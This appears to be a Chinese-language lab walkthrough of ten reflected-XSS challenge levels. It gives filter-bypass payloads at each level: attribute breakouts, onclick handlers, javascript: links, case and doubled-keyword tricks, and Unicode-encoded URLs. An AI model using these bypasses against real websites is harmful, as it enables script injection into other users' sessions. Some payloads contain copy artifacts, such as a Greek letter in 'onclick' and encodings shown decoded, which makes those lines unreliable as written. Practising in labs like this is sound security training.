第一关
看源代码,在 <h2> 内有test的内容
发现url上有test
没用任何过滤
构造payload
<script>alert(1)</script>
通过
第二关
看源代码,在 <h2> 和 <input> 内有test的内容
试试搜索框输入payload : <script>alert(1)</script>
发现在 h2 标签内的 payload ,进行了html实体
但是 value 标签内没有编码
我们用 " 把 value=" 闭合,再用 > 把input标签闭合,最后用 // 注释后面内容
"><script>alert(1)</script>//
第三关
看源代码,在 <h2> 和 <input> 内有test的内容
试试 '><script>alert(1)</script> 发现 h2 标签 和 input 标签 都被 html实体 编码了
相当于过滤了 < > 符号,用点击事件试试
' οnclick=alert(1)//
第四关
先试试 <script>alert(1)</script>
看源代码,在 <h2> 和 <input> 内有内容
h2 标签 html实体编码
input的 < > 没了
试试双写方法,看下是循环检测还是单次
试试:">><<script>>alert(1)<</script>>//
检查源代码,发现是循环检测
点击事件咯
" οnclick=alert(1)//
第五关
常规输入 <script>alert(1)</script>
看源代码,在 <h2> 和 <input> 内有内容
h2 标签 html实体编码
input标签 变成了 <scr_ipt>alert(1)</script>
应该是单次检测,试试大小写
<scRIpt>alert(1)</script>
没用
试试双写
<scrscriptipt>alert(1)</script>
没用
点击事件试试
" οnclick=alert(1)//
发现变成了
" o_nclick=alert(1)//
超链接试试
"> <a href=javascript:alert(1)>666</a>//
成功
判断这关应该是过滤了 script 和 on
第六关
常规输入 <script>alert(1)</script>
看源代码,在 <h2> 和 <input> 内有内容
h2 标签 html实体编码
input标签 变成了 <scr_ipt>alert(1)</script>
点击事件试试
" οnclick=alert(1)//
没用
超链接试试
"> <a href=javascript:alert(1)>666</a>//
没用,看源代码 href 变成了 h_ref 寄了
判断过滤了 href script on 的关键词
试试大小写绕过
"><scRIpT>alert(1)</scRIpT>\\
成功通过
第七关
常规输入 <script>alert(1)</script>
看源代码,在 <h2> 和 <input> 内有内容
h2 标签 html实体编码
input标签 的 script 直接没了
看下是不是单次过滤,试试双写
"><scscriptript>alert(1)</scscriptript>
成功通过
第八关
常规输入 <script>alert(1)</script>
看源代码,在 <h2> 和 <input>和<href>内有内容
h2 标签 html实体编码
href标签 的 script 变成了 scr_ipt
试试大小写
"><sCRIPt>alert(1)</sCRIPt>
input标签 的 sCRIPt 变成了 scr_ipt
href标签 的 sCRIPt 变成了 scr_ipt
" 变成了 "
看来转换为小写了。。
再 fuzz 点击事件和超链接法
都没用
试试
javascript:alert("1")
发现 " 被转义了,没办法
试试Unicode编码
成功通过
第九关
常规输入 <script>alert(1)</script>
看源代码,在 <input>和<href>内有内容
其中再 <href> 中说 您的链接不合法?有没有!
链接不合法,意思要输入一个正常的url链接??试试
<script>alert(1)</script> //http://www.baidu.com
href标签 变成了<scr_ipt>alert(1)</scr_ipt> //http://www.baidu.com">
script常规被过滤
试试双写和大小写绕过法,没用
试试Unicode编码
javascript:alert("1")进行Unicode编码,变成:
javascript:alert("1")
在后面写入/*http://www.baidu.com*/ (/* */ 和 // 都是注释符号),注释掉 http://www.baidu.com
变成
javascript:alert("1");/*http://www.baidu.com*/
成功通过
第十关
没用搜索框,但是url上有keyword,试试常规 输入<script>alert(1)</script>
发现只有 <h2> 标签有这个内容
但是发现有三个 input标签(可在url输入 ?t_link=xxx)
三个input都试试
发现 t_sort 可以,写入payload,构造表单
?t_sort=" οnclick=javascript:alert(1) type="text
onclick 前面的 " 闭合 value=" ,其他就构造一下看下源代码,看看构造对了没有
type="text" 相当于弄个框框出来
发表评论 取消回复